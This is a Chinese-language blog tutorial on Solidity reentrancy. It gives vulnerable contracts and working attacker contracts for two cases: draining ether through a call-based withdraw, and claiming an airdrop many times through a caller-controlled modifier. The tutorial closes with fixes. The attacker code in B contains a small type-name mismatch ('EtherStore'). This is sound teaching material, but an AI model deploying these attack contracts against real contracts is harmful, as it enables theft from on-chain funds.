solidity 重入漏洞

目录

[1. 重入漏洞的原理](#1. 重入漏洞的原理)

[2. 重入漏洞的场景](#2. 重入漏洞的场景)

[2.1 msg.sender.call 转账](#2.1 msg.sender.call 转账)

[2.2 修饰器中调用地址可控的函数](#2.2 修饰器中调用地址可控的函数)


1. 重入漏洞的原理

重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用

恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约地址可控。当恶意合约 B 实现了 funcB,并且 funcB 的代码中又调用了合约 A 的 funcA,就会导致一个循环调用,即 step 2 => step 3 => step 2 => step 3 => ....... 直到 合约 gas 耗尽或其他强制结束事件发生。

2. 重入漏洞的场景

2.1 msg.sender.call 转账

msg.sender.call 转账场景下重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用
  • 使用 call 函数发送 ether,且不设置 gas
  • 记录款项数目的状态变量,值变化发生在转账之后

恶意合约 B 调用了合约 A 的退款函数;合约 A 的退款函数通过 call 函数给合约 B 进行转账,且没有设置 gas,合约 B 的 fallback 函数自动执行,被用来接收转账;合约 B 的 fallback 函数中又调用了合约 A

合约 A

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract A {
    mapping(address => uint) public balances;

    function deposit() public payable { 
       balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        // 调用 call 函数将款项转到 msg.sender 的账户
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        // 账户余额清零
        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

恶意合约 B:

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract B {
    A public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when A sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

2.2 修饰器中调用地址可控的函数

代码地址:https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier

漏洞合约代码:

javascript 复制代码
pragma solidity 0.8.13;

import "./Dependencies.sol";

contract InsecureAirdrop {
    mapping (address => uint256) private userBalances;
    mapping (address => bool) private receivedAirdrops;

    uint256 public immutable airdropAmount;

    constructor(uint256 _airdropAmount) {
        airdropAmount = _airdropAmount;
    }

    function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
        // Mint Airdrop
        userBalances[msg.sender] += airdropAmount;
        receivedAirdrops[msg.sender] = true;
    }

    modifier neverReceiveAirdrop {
        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
        _;
    }

    // In this example, the _isContract() function is used for checking 
    // an airdrop compatibility only, not checking for any security aspects
    function _isContract(address _account) internal view returns (bool) {
        // It is unsafe to assume that an address for which this function returns 
        // false is an externally-owned account (EOA) and not a contract
        uint256 size;
        assembly {
            // There is a contract size check bypass issue
            // But, it is not the scope of this example though
            size := extcodesize(_account)
        }
        return size > 0;
    }

    modifier canReceiveAirdrop() {
        // If the caller is a smart contract, check if it can receive an airdrop
        if (_isContract(msg.sender)) {
            // In this example, the _isContract() function is used for checking 
            // an airdrop compatibility only, not checking for any security aspects
            require(
                IAirdropReceiver(msg.sender).canReceiveAirdrop(), 
                "Receiver cannot receive an airdrop"
            );
        }
        _;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function hasReceivedAirdrop(address _user) external view returns (bool) {
        return receivedAirdrops[_user];
    }
}

攻击合约代码:

javascript 复制代码
pragma solidity 0.8.13;

import "./Dependencies.sol";

interface IAirdrop {
    function receiveAirdrop() external;
    function getUserBalance(address _user) external view returns (uint256);
}

contract Attack is IAirdropReceiver {
    IAirdrop public immutable airdrop;

    uint256 public xTimes;
    uint256 public xCount;

    constructor(IAirdrop _airdrop) {
        airdrop = _airdrop;
    }

    function canReceiveAirdrop() external override returns (bool) {
        if (xCount < xTimes) {
            xCount++;
            airdrop.receiveAirdrop();
        }
        return true;
    }

    function attack(uint256 _xTimes) external {
        xTimes = _xTimes;
        xCount = 1;

        airdrop.receiveAirdrop();
    }

    function getBalance() external view returns (uint256) {
        return airdrop.getUserBalance(address(this));
    }
}

漏洞合约为一个空投合约,限制每个账户只能领一次空投。

攻击过程:

  1. 部署攻击合约 Attacker 后,执行函数 attack,attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投;
  2. 漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码,而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop(),此时 msg.sender 为攻击合约地址;
  3. 攻击合约自己实现了 canReceiveAirdrop() 函数,并且函数代码中再次调用了 receiveAirdrop 函数接收空投

于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。

修复重入漏洞

1.避免使用call方法转账

2.确保所有状态变量的逻辑都发生在转账之前

3.引入互斥锁

相关推荐
Web3李李20 小时前
短剧+Web3:破解行业获客留客难题,打造零门槛用户增长闭环
web3·去中心化·区块链·软件开发·dapp开发·web3短剧·web3项目开发
磐链科技1 天前
异构链的“翻译官”:区块链开发中跨链消息传递协议(IBC)的代码实现拆解
区块链
ZDGJ60992 天前
如何选择适合自己的恒指期货产品
区块链
水母量化2 天前
自动化开盘卖出如何适应价格笼子规则
运维·自动化·区块链·量化交易
IvorySQL2 天前
PostgreSQL 日报 |SUM-AVG 溢出检测不足(9 月 5 日)
数据库·postgresql·区块链
Richown2 天前
React 高级模式:并发渲染下的状态机驱动架构——从 Finite State Machine 到生产级实现
区块链·react
ChannelLab2 天前
BONK FAQ:关于生态、产品、社区与金融化的 24 个核心问题
金融·区块链
超级架构师3 天前
【区块链技术】区块链101:比特币是什么?
人工智能·区块链·比特币
维克兜率天3 天前
4.3.2.1 日常监控:上线只是开始
服务器·数据库·python·区块链·php·量化
磐链科技4 天前
交易所开发核心:钱包提现引擎的设计——从风控拦截、多级审批到自动广播上链
web3·区块链